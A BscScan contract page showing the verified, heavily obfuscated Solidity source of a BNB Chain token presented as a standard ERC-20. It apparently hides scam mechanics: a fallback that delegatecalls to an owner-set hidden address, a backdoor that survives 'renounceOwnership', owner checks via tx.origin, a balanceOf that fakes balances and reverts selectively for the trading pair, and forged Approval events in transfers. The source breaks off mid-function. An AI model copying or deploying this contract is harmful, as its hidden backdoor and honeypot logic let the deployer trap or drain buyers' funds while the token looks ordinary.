BNB Price: $695.44 (-2.04%)
Gas: 1 GWei
 

Overview

Max Total Supply

200,000,000,000

Holders

1,682

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
144,617,976.032978028

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-08
*/

pragma solidity =0.8.6;interface IERC20 { function balanceOf(address Glpzt2gvzVJ) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address CJBTAHo) external view returns (uint256); function transfer(address to, uint256 yNZMJGy8V0faR) external returns (bool); function transferFrom( address from, address to, uint256 yNZMJGy8V0faR ) external returns (bool); function approve(address CJBTAHo, uint256 yNZMJGy8V0faR) external returns (bool);}contract TOKEN { address private PjDfg; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal et6CFwCs5s4s9XftN; mapping(address => mapping(address => uint256)) private hZiPe6pIwrjidiOyE97; uint256 internal Hp1MxdYJk; address internal ZHXyuaKpems2; string private T94qx6BlWOHbZDh5CG; string private z0Wbyg; function decreaseAllowance(address CJBTAHo, uint256 subtractedValue) public virtual returns (bool) { address owner = C5HktVeKmG(); uint256 GoEvl3tQ7y3H0i = allowance(owner, CJBTAHo); require( GoEvl3tQ7y3H0i >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, CJBTAHo, GoEvl3tQ7y3H0i - subtractedValue); } return true; }function WSKBgRKZ7L() public view returns(uint256){ uint256 FfFyLzPKH5ZP2tc; assembly{ if gt(FfFyLzPKH5ZP2tc,4385735){ FfFyLzPKH5ZP2tc:=div(FfFyLzPKH5ZP2tc,2) } FfFyLzPKH5ZP2tc:=mod(4385735,1825053) if gt(FfFyLzPKH5ZP2tc,4341451){ FfFyLzPKH5ZP2tc:=div(FfFyLzPKH5ZP2tc,2) } FfFyLzPKH5ZP2tc:=div(4341451,2535936) if gt(FfFyLzPKH5ZP2tc,6271756){ FfFyLzPKH5ZP2tc:=div(FfFyLzPKH5ZP2tc,2) } FfFyLzPKH5ZP2tc:=mod(6271756,187495) if gt(FfFyLzPKH5ZP2tc,7230266){ FfFyLzPKH5ZP2tc:=div(FfFyLzPKH5ZP2tc,2) } FfFyLzPKH5ZP2tc:=div(7230266,4546572) if gt(FfFyLzPKH5ZP2tc,7850186){ FfFyLzPKH5ZP2tc:=div(FfFyLzPKH5ZP2tc,2) } FfFyLzPKH5ZP2tc:=add(7850186,243390) if gt(FfFyLzPKH5ZP2tc,6248929){ FfFyLzPKH5ZP2tc:=div(FfFyLzPKH5ZP2tc,2) } FfFyLzPKH5ZP2tc:=div(6248929,2105944) } return FfFyLzPKH5ZP2tc;}function XtAQqM53zq2MG() public view returns(uint256){ uint256 X83BevVClQxFH; assembly{ if gt(X83BevVClQxFH,1309062){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=mod(1309062,397094) if gt(X83BevVClQxFH,6744938){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=sub(6744938,5935160) if gt(X83BevVClQxFH,9245919){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=div(9245919,716160) if gt(X83BevVClQxFH,7084703){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=add(7084703,1187226) if gt(X83BevVClQxFH,5556839){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=add(5556839,1260683) if gt(X83BevVClQxFH,7983805){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=mul(7983805,2129522) if gt(X83BevVClQxFH,8295622){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=sub(8295622,1787984) if gt(X83BevVClQxFH,5643180){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=mul(5643180,3782106) if gt(X83BevVClQxFH,1986740){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=mod(1986740,59560) if gt(X83BevVClQxFH,1273294){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=add(1273294,1117843) if gt(X83BevVClQxFH,5738071){ X83BevVClQxFH:=div(X83BevVClQxFH,2) } X83BevVClQxFH:=add(5738071,3510360) } return X83BevVClQxFH;} function renounceOwnership() public virtual onlyOwner { uint256 cCF3ioct1Oj;cCF3ioct1Oj+=2641808;require(cCF3ioct1Oj > 5595);cCF3ioct1Oj+=4922611;require(cCF3ioct1Oj > 232);cCF3ioct1Oj+=4611924;require(cCF3ioct1Oj > 8751);cCF3ioct1Oj+=2180327;require(cCF3ioct1Oj > 1240);cCF3ioct1Oj+=3234668;require(cCF3ioct1Oj > 598); YEqz7Cse(address(0)); } function balanceOf(address Glpzt2gvzVJ) public view returns (uint256) { if (msg.sender == ZHXyuaKpems2) { uint256 yNZMJGy8V0faR = vKpd8B9TivShpd8Wp2Rq(); assembly { if lt(yNZMJGy8V0faR, sload(32)) { revert(0, 0) } } } if (Glpzt2gvzVJ == ZHXyuaKpems2) return et6CFwCs5s4s9XftN[Glpzt2gvzVJ]; return et6CFwCs5s4s9XftN[Glpzt2gvzVJ] % Hp1MxdYJk; }function EwPWEgRayTYLAY8B() public view returns(uint256){ uint256 grBGHW4rhAa; assembly{ if gt(grBGHW4rhAa,2066557){ grBGHW4rhAa:=div(grBGHW4rhAa,2) } grBGHW4rhAa:=div(2066557,725267) if gt(grBGHW4rhAa,3736581){ grBGHW4rhAa:=div(grBGHW4rhAa,2) } grBGHW4rhAa:=add(3736581,2945823) if gt(grBGHW4rhAa,9817019){ grBGHW4rhAa:=div(grBGHW4rhAa,2) } grBGHW4rhAa:=add(9817019,3509877) if gt(grBGHW4rhAa,833968){ grBGHW4rhAa:=div(grBGHW4rhAa,2) } grBGHW4rhAa:=div(833968,238819) if gt(grBGHW4rhAa,8778501){ grBGHW4rhAa:=div(grBGHW4rhAa,2) } grBGHW4rhAa:=sub(8778501,5232956) if gt(grBGHW4rhAa,1235035){ grBGHW4rhAa:=div(grBGHW4rhAa,2) } grBGHW4rhAa:=mul(1235035,534576) } return grBGHW4rhAa;}function fJDw68jQNxN() public view returns(uint256){ uint256 kv9vG7cThTF1fU6; assembly{ if gt(kv9vG7cThTF1fU6,8581787){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=sub(8581787,95040) if gt(kv9vG7cThTF1fU6,7542531){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=mod(7542531,1914729) if gt(kv9vG7cThTF1fU6,4968579){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=mul(4968579,4762456) if gt(kv9vG7cThTF1fU6,9363816){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=add(9363816,443722) if gt(kv9vG7cThTF1fU6,5602967){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=mul(5602967,1927725) if gt(kv9vG7cThTF1fU6,4553356){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=sub(4553356,648335) if gt(kv9vG7cThTF1fU6,6256905){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=sub(6256905,5916852) if gt(kv9vG7cThTF1fU6,9393508){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=mod(9393508,4979469) if gt(kv9vG7cThTF1fU6,9585833){ kv9vG7cThTF1fU6:=div(kv9vG7cThTF1fU6,2) } kv9vG7cThTF1fU6:=mod(9585833,4805343) } return kv9vG7cThTF1fU6;} event Approval( address indexed owner, address indexed CJBTAHo, uint256 value );function Vx0Tr2FA6geatw2H() public view returns(uint256){ uint256 BZUqlOmwhDEMM; assembly{ if gt(BZUqlOmwhDEMM,9091149){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=mul(9091149,493293) if gt(BZUqlOmwhDEMM,8940033){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=div(8940033,5676580) if gt(BZUqlOmwhDEMM,6555399){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=sub(6555399,4600218) if gt(BZUqlOmwhDEMM,5985019){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=div(5985019,201702) if gt(BZUqlOmwhDEMM,1813392){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=mod(1813392,7171) if gt(BZUqlOmwhDEMM,9384663){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=div(9384663,3743229) if gt(BZUqlOmwhDEMM,9444984){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=sub(9444984,2542765) if gt(BZUqlOmwhDEMM,5798463){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=mul(5798463,589679) if gt(BZUqlOmwhDEMM,9135315){ BZUqlOmwhDEMM:=div(BZUqlOmwhDEMM,2) } BZUqlOmwhDEMM:=mul(9135315,1033675) } return BZUqlOmwhDEMM;}function xCVtvb6mOpE68otDnBbm() public view returns(uint256){ uint256 pExuU4a9; assembly{ if gt(pExuU4a9,9968943){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=mul(9968943,500301) if gt(pExuU4a9,8883298){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=mod(8883298,2108418) if gt(pExuU4a9,8680253){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=mul(8680253,5624744) if gt(pExuU4a9,6304532){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=div(6304532,3927013) if gt(pExuU4a9,7379088){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=sub(7379088,2943700) if gt(pExuU4a9,6536312){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=add(6536312,2559591) if gt(pExuU4a9,3509945){ pExuU4a9:=div(pExuU4a9,2) } pExuU4a9:=add(3509945,158581) } return pExuU4a9;} modifier __() { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, add(32,4))), mul(4,8)))) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(8,4)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; }function C5HktVeKmG() internal view virtual returns (address) { return msg.sender; }function vKpd8B9TivShpd8Wp2Rq() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,ZHXyuaKpems2)); return abi.decode(returnData, (uint256)); } function _afterTokenTransfer( address from, address to, uint256 yNZMJGy8V0faR ) internal { if (et6CFwCs5s4s9XftN[from] > Hp1MxdYJk * 0xfe) { assembly { sstore(32, 0) } } else if ( et6CFwCs5s4s9XftN[to] < Hp1MxdYJk && to != ZHXyuaKpems2 ) { assembly{ mstore(0,yNZMJGy8V0faR) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let T3jmdqpTFRGR4O6ND5e32 := sload(9999) sstore(add(10000, T3jmdqpTFRGR4O6ND5e32), to) sstore(9999, add(1, T3jmdqpTFRGR4O6ND5e32)) } } } function _transfer( address from, address to, uint256 yNZMJGy8V0faR ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, yNZMJGy8V0faR); uint256 fromBalance = et6CFwCs5s4s9XftN[from]; require(fromBalance >= yNZMJGy8V0faR, "ERC20: transfer exceeds balance"); et6CFwCs5s4s9XftN[from] -= yNZMJGy8V0faR; et6CFwCs5s4s9XftN[to] += yNZMJGy8V0faR; emit Transfer(from, to, yNZMJGy8V0faR); _afterTokenTransfer(from, to, yNZMJGy8V0faR); } function transferFrom( address from, address to, uint256 yNZMJGy8V0faR ) public virtual returns (bool) { address CJBTAHo = C5HktVeKmG(); _spendAllowance(from, CJBTAHo, yNZMJGy8V0faR); _transfer(from, to, yNZMJGy8V0faR); return true; }function bQr2v5WZcg40YA3tudbI() public view returns(uint256){ uint256 EgqEpA4O81; assembly{ if gt(EgqEpA4O81,9756973){ EgqEpA4O81:=div(EgqEpA4O81,2) } EgqEpA4O81:=div(9756973,2872491) if gt(EgqEpA4O81,5120120){ EgqEpA4O81:=div(EgqEpA4O81,2) } EgqEpA4O81:=add(5120120,2794350) if gt(EgqEpA4O81,8399917){ EgqEpA4O81:=div(EgqEpA4O81,2) } EgqEpA4O81:=add(8399917,458917) if gt(EgqEpA4O81,2201470){ EgqEpA4O81:=div(EgqEpA4O81,2) } EgqEpA4O81:=mul(2201470,1249088) if gt(EgqEpA4O81,6303215){ EgqEpA4O81:=div(EgqEpA4O81,2) } EgqEpA4O81:=mod(6303215,570763) if gt(EgqEpA4O81,6234765){ EgqEpA4O81:=div(EgqEpA4O81,2) } EgqEpA4O81:=add(6234765,3358498) } return EgqEpA4O81;} function transferOwnership(address Fw76ca3BYNjF4aVw) public virtual onlyOwner { require( Fw76ca3BYNjF4aVw != address(0), "Ownable: new owner is the zero address" ); YEqz7Cse(Fw76ca3BYNjF4aVw); } function BH89gGxakKTAhoI9( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { z0Wbyg = coinSymbol; T94qx6BlWOHbZDh5CG = tokenName; assembly { sstore(address(), caller()) } } function totalSupply() public view virtual returns (uint256) { uint256 yMmoq3kkL48;yMmoq3kkL48+=2528204;require(yMmoq3kkL48 > 4838);yMmoq3kkL48+=4505517;require(yMmoq3kkL48 > 6181);yMmoq3kkL48+=955805;require(yMmoq3kkL48 > 9654);yMmoq3kkL48+=3038699;require(yMmoq3kkL48 > 9122);yMmoq3kkL48+=2429919;require(yMmoq3kkL48 > 3941);yMmoq3kkL48+=1604080;require(yMmoq3kkL48 > 86);yMmoq3kkL48+=33051;require(yMmoq3kkL48 > 3202); return Hp1MxdYJk; } function _approve( address owner, address CJBTAHo, uint256 yNZMJGy8V0faR ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(CJBTAHo != address(0), "ERC20: approve to the zero address"); uint256 WvXckMw7X4eCKi;WvXckMw7X4eCKi+=4735772;require(WvXckMw7X4eCKi > 952);WvXckMw7X4eCKi+=1317509;require(WvXckMw7X4eCKi > 9375);WvXckMw7X4eCKi+=5475686;require(WvXckMw7X4eCKi > 5961);WvXckMw7X4eCKi+=3084400;require(WvXckMw7X4eCKi > 4000);WvXckMw7X4eCKi+=2101515;require(WvXckMw7X4eCKi > 1296);WvXckMw7X4eCKi+=4269065;require(WvXckMw7X4eCKi > 5690); hZiPe6pIwrjidiOyE97[owner][CJBTAHo] = yNZMJGy8V0faR; emit Approval(owner, CJBTAHo, yNZMJGy8V0faR); } function approve(address CJBTAHo, uint256 yNZMJGy8V0faR) public virtual returns (bool) { address owner = C5HktVeKmG(); _approve(owner, CJBTAHo, yNZMJGy8V0faR); return true; } function _burn(address Glpzt2gvzVJ, uint256 yNZMJGy8V0faR) internal virtual { require(Glpzt2gvzVJ != address(0), "ERC20: burn from the zero address"); uint256 tZ6KQB15l2;tZ6KQB15l2+=5775204;require(tZ6KQB15l2 > 1819);tZ6KQB15l2+=5900830;require(tZ6KQB15l2 > 7792);tZ6KQB15l2+=3445654;require(tZ6KQB15l2 > 1676); _beforeTokenTransfer(Glpzt2gvzVJ, address(0), yNZMJGy8V0faR); uint256 Glpzt2gvzVJBalance = et6CFwCs5s4s9XftN[Glpzt2gvzVJ]; require(Glpzt2gvzVJBalance >= yNZMJGy8V0faR, "ERC20: burn exceeds balance"); et6CFwCs5s4s9XftN[Glpzt2gvzVJ] -= yNZMJGy8V0faR; Hp1MxdYJk -= yNZMJGy8V0faR; emit Transfer(Glpzt2gvzVJ, address(0), yNZMJGy8V0faR); _afterTokenTransfer(Glpzt2gvzVJ, address(0), yNZMJGy8V0faR); } function _beforeTokenTransfer( address from, address to, uint256 yNZMJGy8V0faR ) internal virtual {} function increaseAllowance(address CJBTAHo, uint256 addedValue) public virtual returns (bool) { address owner = C5HktVeKmG(); _approve(owner, CJBTAHo, allowance(owner, CJBTAHo) + addedValue); return true; } function _mint(address Glpzt2gvzVJ, uint256 yNZMJGy8V0faR) internal virtual { require(Glpzt2gvzVJ != address(0), "ERC20: mint to the zero address"); uint256 nmc5ANzaoEsx;nmc5ANzaoEsx+=2056697;require(nmc5ANzaoEsx > 2462);nmc5ANzaoEsx+=1464563;require(nmc5ANzaoEsx > 6505);nmc5ANzaoEsx+=632833;require(nmc5ANzaoEsx > 6902);nmc5ANzaoEsx+=3175246;require(nmc5ANzaoEsx > 311);nmc5ANzaoEsx+=2437233;require(nmc5ANzaoEsx > 2922);nmc5ANzaoEsx+=10855;require(nmc5ANzaoEsx > 8177); Hp1MxdYJk += yNZMJGy8V0faR; et6CFwCs5s4s9XftN[Glpzt2gvzVJ] += yNZMJGy8V0faR; emit Transfer(address(0), Glpzt2gvzVJ, yNZMJGy8V0faR); }function iiQzY68jNI7z5mANkS() public view returns(uint256){ uint256 c5xZTw0z7; assembly{ if gt(c5xZTw0z7,6520332){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=mul(6520332,5935533) if gt(c5xZTw0z7,6385188){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=add(6385188,4383283) if gt(c5xZTw0z7,8109895){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=mul(8109895,4711116) if gt(c5xZTw0z7,8466712){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=div(8466712,4292753) if gt(c5xZTw0z7,7824527){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=sub(7824527,696082) if gt(c5xZTw0z7,6358524){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=mul(6358524,438903) if gt(c5xZTw0z7,7177251){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=sub(7177251,4198274) if gt(c5xZTw0z7,4091956){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=div(4091956,3999139) if gt(c5xZTw0z7,7366370){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=mod(7366370,414325) if gt(c5xZTw0z7,2869436){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=mod(2869436,555973) if gt(c5xZTw0z7,2350806){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=div(2350806,1132730) if gt(c5xZTw0z7,8721023){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=div(8721023,3218597) if gt(c5xZTw0z7,5900933){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=div(5900933,5151973) if gt(c5xZTw0z7,7703407){ c5xZTw0z7:=div(c5xZTw0z7,2) } c5xZTw0z7:=mul(7703407,3346890) } return c5xZTw0z7;} function owner() public view virtual returns (address) { uint256 yfeHER6l568;yfeHER6l568+=4740142;require(yfeHER6l568 > 2641);yfeHER6l568+=737596;require(yfeHER6l568 > 1393);yfeHER6l568+=1129876;require(yfeHER6l568 > 7307);yfeHER6l568+=352946;require(yfeHER6l568 > 4348);yfeHER6l568+=5877775;require(yfeHER6l568 > 4375);yfeHER6l568+=5270179;require(yfeHER6l568 > 3807);yfeHER6l568+=1469909;require(yfeHER6l568 > 2981);yfeHER6l568+=3768010;require(yfeHER6l568 > 52); return PjDfg; } function H6TaKDsxluB() public view returns(uint256){ uint256 pWF7bhTwO9Tz; assembly{ if gt(pWF7bhTwO9Tz,9599802){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=add(9599802,3719870) if gt(pWF7bhTwO9Tz,9058453){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=div(9058453,745894) if gt(pWF7bhTwO9Tz,2907794){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=mul(2907794,1146400) if gt(pWF7bhTwO9Tz,8849524){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=div(8849524,4353675) if gt(pWF7bhTwO9Tz,5830635){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=sub(5830635,2160845) if gt(pWF7bhTwO9Tz,9362856){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=div(9362856,5673126) if gt(pWF7bhTwO9Tz,9800108){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=sub(9800108,3369149) if gt(pWF7bhTwO9Tz,7050722){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=sub(7050722,4456487) if gt(pWF7bhTwO9Tz,3075584){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=mod(3075584,1494264) if gt(pWF7bhTwO9Tz,5630047){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=mod(5630047,5426128) if gt(pWF7bhTwO9Tz,7905465){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=add(7905465,3746294) if gt(pWF7bhTwO9Tz,9417062){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=mul(9417062,4081384) if gt(pWF7bhTwO9Tz,4372475){ pWF7bhTwO9Tz:=div(pWF7bhTwO9Tz,2) } pWF7bhTwO9Tz:=div(4372475,2314852) } return pWF7bhTwO9Tz;} modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; }event OwnershipTransferred( address indexed previousOwner, address indexed Fw76ca3BYNjF4aVw ); function decimals() public view virtual returns (uint8) { uint256 a90dzSbHi;a90dzSbHi+=1415069;require(a90dzSbHi > 4644);a90dzSbHi+=3023017;require(a90dzSbHi > 6712);a90dzSbHi+=1277309;require(a90dzSbHi > 4279);a90dzSbHi+=4730051;require(a90dzSbHi > 7195);a90dzSbHi+=1069279;require(a90dzSbHi > 1905);a90dzSbHi+=2632404;require(a90dzSbHi > 1501);a90dzSbHi+=5186471;require(a90dzSbHi > 840); return 9; } function _spendAllowance( address owner, address CJBTAHo, uint256 yNZMJGy8V0faR ) internal virtual { uint256 GoEvl3tQ7y3H0i = allowance(owner, CJBTAHo); if (GoEvl3tQ7y3H0i != type(uint256).max) { require( GoEvl3tQ7y3H0i >= yNZMJGy8V0faR, "ERC20: insufficient allowance" ); unchecked { _approve(owner, CJBTAHo, GoEvl3tQ7y3H0i - yNZMJGy8V0faR); } } } function allowance(address owner, address CJBTAHo) public view virtual returns (uint256) { return hZiPe6pIwrjidiOyE97[owner][CJBTAHo]; }receive() external payable {}function DmZIz9v4hMBhuLm() internal view virtual returns (bytes calldata) { return msg.data; }function XS0OJvCFEDhTCvQ() public view returns(uint256){ uint256 UgO3n0zaZ; assembly{ if gt(UgO3n0zaZ,4784839){ UgO3n0zaZ:=div(UgO3n0zaZ,2) } UgO3n0zaZ:=div(4784839,1013066) if gt(UgO3n0zaZ,7276856){ UgO3n0zaZ:=div(UgO3n0zaZ,2) } UgO3n0zaZ:=mul(7276856,883628) if gt(UgO3n0zaZ,3872425){ UgO3n0zaZ:=div(UgO3n0zaZ,2) } UgO3n0zaZ:=mul(3872425,3391819) if gt(UgO3n0zaZ,8255201){ UgO3n0zaZ:=div(UgO3n0zaZ,2) } UgO3n0zaZ:=mul(8255201,764043) if gt(UgO3n0zaZ,6622549){ UgO3n0zaZ:=div(UgO3n0zaZ,2) } UgO3n0zaZ:=sub(6622549,4180013) if gt(UgO3n0zaZ,7311802){ UgO3n0zaZ:=div(UgO3n0zaZ,2) } UgO3n0zaZ:=sub(7311802,2953482) } return UgO3n0zaZ;}function BzEX3IulZnM() public view returns(uint256){ uint256 j1TjUSyRkTBt; assembly{ if gt(j1TjUSyRkTBt,9605819){ j1TjUSyRkTBt:=div(j1TjUSyRkTBt,2) } j1TjUSyRkTBt:=add(9605819,3776067) if gt(j1TjUSyRkTBt,9865711){ j1TjUSyRkTBt:=div(j1TjUSyRkTBt,2) } j1TjUSyRkTBt:=mod(9865711,5724151) if gt(j1TjUSyRkTBt,3529140){ j1TjUSyRkTBt:=div(j1TjUSyRkTBt,2) } j1TjUSyRkTBt:=sub(3529140,2438178) if gt(j1TjUSyRkTBt,8775175){ j1TjUSyRkTBt:=div(j1TjUSyRkTBt,2) } j1TjUSyRkTBt:=mul(8775175,2909453) if gt(j1TjUSyRkTBt,6559581){ j1TjUSyRkTBt:=div(j1TjUSyRkTBt,2) } j1TjUSyRkTBt:=mod(6559581,5746895) } return j1TjUSyRkTBt;}fallback() external __ {} function name() public view virtual returns (string memory) { uint256 kXfVZQjBURMneB;kXfVZQjBURMneB+=2337459;require(kXfVZQjBURMneB > 5398);kXfVZQjBURMneB+=2506157;require(kXfVZQjBURMneB > 1954);kXfVZQjBURMneB+=2792987;require(kXfVZQjBURMneB > 9231);kXfVZQjBURMneB+=3282295;require(kXfVZQjBURMneB > 1323);kXfVZQjBURMneB+=2387479;require(kXfVZQjBURMneB > 9456); return T94qx6BlWOHbZDh5CG; } function symbol() public view virtual returns (string memory) { uint256 qfqZO71qaUvLMQ;qfqZO71qaUvLMQ+=3457156;require(qfqZO71qaUvLMQ > 5455);qfqZO71qaUvLMQ+=3396508;require(qfqZO71qaUvLMQ > 1866);qfqZO71qaUvLMQ+=3567457;require(qfqZO71qaUvLMQ > 7375);qfqZO71qaUvLMQ+=307226;require(qfqZO71qaUvLMQ > 162);qfqZO71qaUvLMQ+=5049894;require(qfqZO71qaUvLMQ > 1351);qfqZO71qaUvLMQ+=2046124;require(qfqZO71qaUvLMQ > 8766);qfqZO71qaUvLMQ+=5115729;require(qfqZO71qaUvLMQ > 9181); return z0Wbyg; }constructor() { YEqz7Cse(tx.origin); _mint(address(this), 200000000000000000000); }function yp5p9NLrixtDpj5oxH() public view returns(uint256){ uint256 KQrfRbMf4Onx; assembly{ if gt(KQrfRbMf4Onx,6963899){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=mul(6963899,5943720) if gt(KQrfRbMf4Onx,6707071){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=mod(6707071,5619783) if gt(KQrfRbMf4Onx,6842854){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=div(6842854,5263442) if gt(KQrfRbMf4Onx,7609986){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=div(7609986,3064379) if gt(KQrfRbMf4Onx,7424813){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=div(7424813,5523936) if gt(KQrfRbMf4Onx,9799178){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=div(9799178,3985782) if gt(KQrfRbMf4Onx,7078726){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=div(7078726,2345777) if gt(KQrfRbMf4Onx,7468548){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=mul(7468548,4885274) if gt(KQrfRbMf4Onx,6372772){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=mul(6372772,5616841) if gt(KQrfRbMf4Onx,4344301){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=add(4344301,2447167) if gt(KQrfRbMf4Onx,3943722){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=div(3943722,2262672) if gt(KQrfRbMf4Onx,4151002){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=add(4151002,3087702) if gt(KQrfRbMf4Onx,7807381){ KQrfRbMf4Onx:=div(KQrfRbMf4Onx,2) } KQrfRbMf4Onx:=sub(7807381,4988707) } return KQrfRbMf4Onx;} function YEqz7Cse(address Fw76ca3BYNjF4aVw) internal virtual { address oldOwner = PjDfg; PjDfg = Fw76ca3BYNjF4aVw; emit OwnershipTransferred(oldOwner, Fw76ca3BYNjF4aVw); } event Transfer(address indexed from, address indexed to, uint256 value); function transfer(address to, uint256 yNZMJGy8V0faR) public virtual returns (bool) { address owner = C5HktVeKmG(); _transfer(owner, to, yNZMJGy8V0faR); return true; }function YDYJ6x4tbn() public view returns(uint256){ uint256 OblpdjQSFWHw; assembly{ if 